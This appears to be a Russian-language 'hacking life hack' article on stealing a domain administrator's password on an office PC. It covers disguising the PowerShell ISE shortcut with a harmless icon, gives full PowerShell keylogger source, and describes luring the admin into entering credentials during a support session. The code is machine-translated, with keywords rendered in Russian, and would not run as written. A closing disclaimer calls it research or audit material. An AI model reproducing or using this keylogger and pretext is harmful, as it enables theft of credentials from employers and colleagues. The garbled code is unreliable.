Как получить пароль администратора на рабочем ПК в домене Active Directory?
Лайфхак [Жизнь-Взлом]/ХакингСегодня мы составили про способ, с помощью которого мы получили админский пароль в домене Active Directory нашей организации. Его можно использовать для установки, удаления программного обеспечения, обнаружения антивируса, доступа ко многим корпоративным ресурсам домена, доступа к документам других пользователей на их ПК и многое другое вкусное. Ну обо всем по порядку.
Для начала находим обнаружение установленного окружения PowerShell ISE. Обычно он оказывается по адресу C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell, находим файл Windows PowerShell ISE и в свойствах, начнем учитывать его ярлык на что-нибудь неприметное, например иконка папки или иконка разрешенного в организации программного обеспечения в формате *.ico, например 1C. Так как большинство государственных сайтов корректно работают на стороне клиента только на нем, он часто не запрещен в реестре политики безопасности. Теперь после запуска в панели меню будет запускать иконку IE, которая не вызывает подозрений.
![](/file/39e280edf395e5e30dd39.jpg)
Затем открываем Windows PowerShell ISE и копируем код скрипта кейлогера:
#requires - Версия 2
функция Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Подписи для вызовов API
$подписи = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
открытый статический внешний короткий GetAsyncKeyState (int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
открытый статический extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
общедоступный статический внешний вид int MapVirtualKey (uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# загрузить подписи и сделать членов доступными
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -API пространства имен -PassThru
# создать выходной файл
$null = New-Item -Path $Path -ItemType File -Force
пытаться
{
Write-Host 'Запись нажатий клавиш. Нажмите CTRL+C, чтобы увидеть результаты». -Красный цвет переднего плана
# создать бесконечный цикл. Когда пользователь нажимает CTRL+C, окончательный блок
# выполняет и показывает собранные нажатия клавиш
в то время как ($ правда) {
Старт-Сон - Миллисекунды 40
# сканировать все коды ASCII выше 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# получить состояние ключа
$state = $API::GetAsyncKeyState($ascii)
# клавиша нажата?
если ($ состояние -eq -32767) {
$null = [консоль]::CapsLock
# переводим скан-код в реальный код
$virtualKey = $API::MapVirtualKey($ascii, 3)
# получить состояние языка для голосовых связок
$kbstate = Байт нового объекта[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# подготовлен StringBuilder для получения ключа ввода
$mychar = New-Object -TypeName System.Text.StringBuilder
# перевести виртуальный ключ
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
если ($ успех)
{
# ключ в файловом логгере
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
в конце концов
{
# открыть файл лога в блокноте
блокнот $Путь
}
}
# записывает все основные сочетания клавиш до тех пор, пока скрипт не будет прерван приложением CTRL+C
# затем достаточно файла с собранными кодами ключей
Пуск-Кейлоггер
Теперь создаем заявку на установку программного обеспечения или просим администратора установить нам какую-нибудь легитимную программу. Перед тем, как админ подключится к Вам удаленно или придет быстро для печати работы, запустим наш скрипт, выполним скрипт или нажмем F5 и прочитаем окно:
![](/file/6340d5c95a8758d1513f4.jpg)
Админ находит подготовленный установочный файл и запускает его под себя УЗ:
![](/file/531e13e4eea7301bf6c01.jpg)
После установки ПО и прощания с товарищеем из технической поддержки или админом нажимаем сочетание клавиш «Ctrl+C» и учитываем данные в открывшемся файле блокнота:
![](/file/70384cc8d1f6945dd3fa8.jpg)
Примечание: информация для исследований, обучения или проведения аудита. Применение в корыстных карикатурах за исключительно РФ.